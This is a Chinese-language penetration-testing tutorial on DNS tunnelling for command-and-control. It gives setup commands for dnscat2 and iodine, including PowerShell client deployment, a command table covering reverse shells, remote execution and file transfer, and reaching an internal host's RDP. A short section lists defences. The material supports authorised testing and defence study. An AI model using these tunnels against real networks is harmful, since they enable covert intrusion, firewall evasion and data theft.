DNS隧道技术
-
- 安全中的DNS协议
- dnscat2
- iodine
- 防御DNS隧道攻击
- 各种隧道技术的优缺点
安全中的DNS协议 DNS的解析原理我们可以参考以下文章
https://blog.csdn.net/baidu_37964071/article/details/80500825
DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。因为传统的socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已成为攻击者控制隧道的主流渠道。
由于DNS报文本身具有穿透防火墙的能力,并且防火墙和入侵检测设备大都不会过滤DNS流量,因此DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器。C&C分为客户端(攻击者)和服务端(被控制的计算机),C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。假如两台机器建立连接后,C&C服务端就可以将指令传递给C&C客户端上的木马程序,让其受控制。
其次,内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP地址、URL等数据帮助防火墙进行阻断操作。这样的话,C&C通信就会被切断,于是各种隧道技术实现C&C通信的技术,尤其是DNS隧道就出现了。
DNS隧道分为直连和中继两种。直连是攻击者的VPS客户端直接和指定的目标DNS服务器建立连接,然后传输数据编码封装在DNS协议中传输。其优点是速度非常快,缺点是不隐秘,而且极易被溯源,因此我们更推荐采用中继的方式建立隧道。中继是通过DNS的迭代查询而实现的DNS隧道。其优点是隐秘,部署的成功性高,缺点是速度较慢。
以下是域名型DNS隧道木马的通信架构
文章图片
这里我们假设我们部署的是中继DNS隧道,首先我们的被控制器要查询
xxx.com
(黑客故意构造的域名),当本地缓存不存在这个域名时,它将前往DNS服务器节点查询,然后DNS服务器在我们自己伪装的DNS服务器上查询到域名地址对应的IP,那么我们就可以封装加密的C&C指令传输到被控端上。因为各大厂家为了不影响服务的运行,都不会将DNS服务屏蔽,因此这个方式是既隐秘又实用的方式。dnscat2 dnscat2这款工具在搭建DNS隧道中,属于众多工具的一个主流。但是我在使用的时候,Windows版本的并不是很稳定,这里比较推荐使用powershell脚本方式搭建DNS隧道,在linux客户端上能够正常使用,但是延迟相对较大。这里我们仅演示中继隧道搭建,因为这种隧道在实战中用的比较多
安装准备
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bunndler
apt-get install git
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
bundle install
配置域名解析
主要是添加这两条记录,这里我使用的是godaddy的域名和VPS服务器
文章图片
检查是否正常解析
文章图片
文章图片
文章图片
服务端
ruby dnscat2.rb .域名 -e open -c root@12345 --no-cache
- -c:定义了"pre-shared secret"可以使用具有预共享密钥的身份验证机制来防止中间人攻击
- -e:规定安全级别
- –no-cache:禁止缓存,这项必须要加上
文章图片
Linux客户端
文章图片
在服务端上
文章图片
文章图片
使用powershell在Windows上线
import-module dnscat2.ps1
start-dnscat2 -domain .域名 -DNSServer 服务器IP地址
文章图片
文章图片
尝试在目标控制主机上开启记事本程序
文章图片
文章图片
最后解释一下dnscat2的命令的作用
命令 | 作用 |
---|---|
clear | 清屏 |
delay | 修改远程响应延时 |
exec | 执行远程机器上的指定程序,如Powershell或VBS |
shell | 得到一个反弹shell |
download/upload | 下载或上传文件,速度较慢 |
suspend | 返回上一层,相当于Ctrl-Z |
listen | 类似于SSH隧道的-L参数 |
ping | 确认目标主机是否在线 |
shutdown | 切断当前会话 |
quit | 退出dnscat2控制台 |
kill (id) | 切断通道 |
set | 设置值 |
windows | 列举所有通道 |
window -i (id) | 连接某个通道 |
- 不会对下行数据进行编码
- 支持多平台,Linux、Windows、BSD、Mac OS
- 支持16个并发连接
- 支持强密码机制
- 支持同网段隧道IP地址
- 支持多种DNS记录类型
- 提供了丰富的隧道质量检测措施
dns0
的虚拟网卡。这是iodine的官网地址https://code.kryo.se/iodine/服务端
和dnscat2一样都需要配置域名解析,并且配置内容相同,这里的
192.168.0.1
是虚拟网卡的IP地址,其它参数的作用在后面论述。apt-get install iodine
iodine -f -c -P root@12345 192.168.0.1 .域名 -DD
Linux客户端
iodine -f -P root@12345 .域名 -M 200
出现这个表明建立连接成功
文章图片
可以看到,客户端上多了一块dns0虚拟网卡
文章图片
并且可以看到路由规则上增添了
192.168.0.0
这个网段文章图片
在VPS服务端上已经建立了连接
文章图片
我们尝试在VPS上远程连接,显示连接成功
文章图片
Windows客户端
Windows客户端的环境部署稍微有点麻烦,首先我们得下载这个依赖,不下载这东西将不能创建隧道 https://swupdate.open.org/community/releases/tap-windows-9.9.2_3.exe
然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip
接着我们要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用
iodine.exe -f -P root@12345 .域名
【隧道搭建|DNS隧道技术】
文章图片
隧道建立完成后,我们就能访问内网主机的3389服务了
文章图片
最后我们阐述一下iodine参数的作用
参数 | 作用 |
---|---|
-f | 在前台运行 |
-c | 禁止检查所有传入请求的客户端IP地址 |
-P | 客户端和服务端之间用于验证身份的密码 |
-D | 指定调试级别,-DD指第二级 |
-r | 强制在任何情况下使用DNS隧道 |
-M | 指定上行主机名的大小 |
-m | 调节最大下行分片的大小 |
-T | 指定所使用的DNS请求的类型 |
-O | 指定数据编码规范 |
-L | 指定是否开启懒惰模式 |
-I | 指定请求与请求之间的时间间隔 |
- 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
- 将邮件服务器/网关列入白名单并阻止和传出流量中的TXT请求
- 跟踪用户的DNS查询次数,如果达到阈值就生成相应的报告
- 阻止ICMP
协议 | 层 | 优点 | 缺点 | 工具 |
---|---|---|---|---|
IPV6 | 网络层 | 隐秘 | 阻塞 | Socat,nt6tunnel |
ICMP | 网络层 | 技术含量低 | 易检测 | Icmpsh,pingtunnel |
TCP | 传输层 | 可靠 | 易过滤 | Netcat,powercat |
SSH | 应用层 | 防火墙友好 | ||
HTTP | 应用层 | 可用性强 | 不隐蔽 | Regeorg,netcat |
HTTPS | 应用层 | 难发现 | 引起怀疑 | socat |
DNS | 应用层 | 防火墙友好 | 不适宜大数据 | dnscat2,iodine |
推荐阅读
- linux|给docker中的ubuntu系统安装桌面程序
- 渗透测试|如何入门CTF()
- vulhub-serial-php反序列化靶机实战
- 理解 DNS 缓存
- windowns下搭建DNS服务器
- 在linux上安装Docker Compose
- C++|使用boost解析域名服务
- DNS & bind详解
- 【HTB】Beep(LFI,RCE,sudo特权(nmap))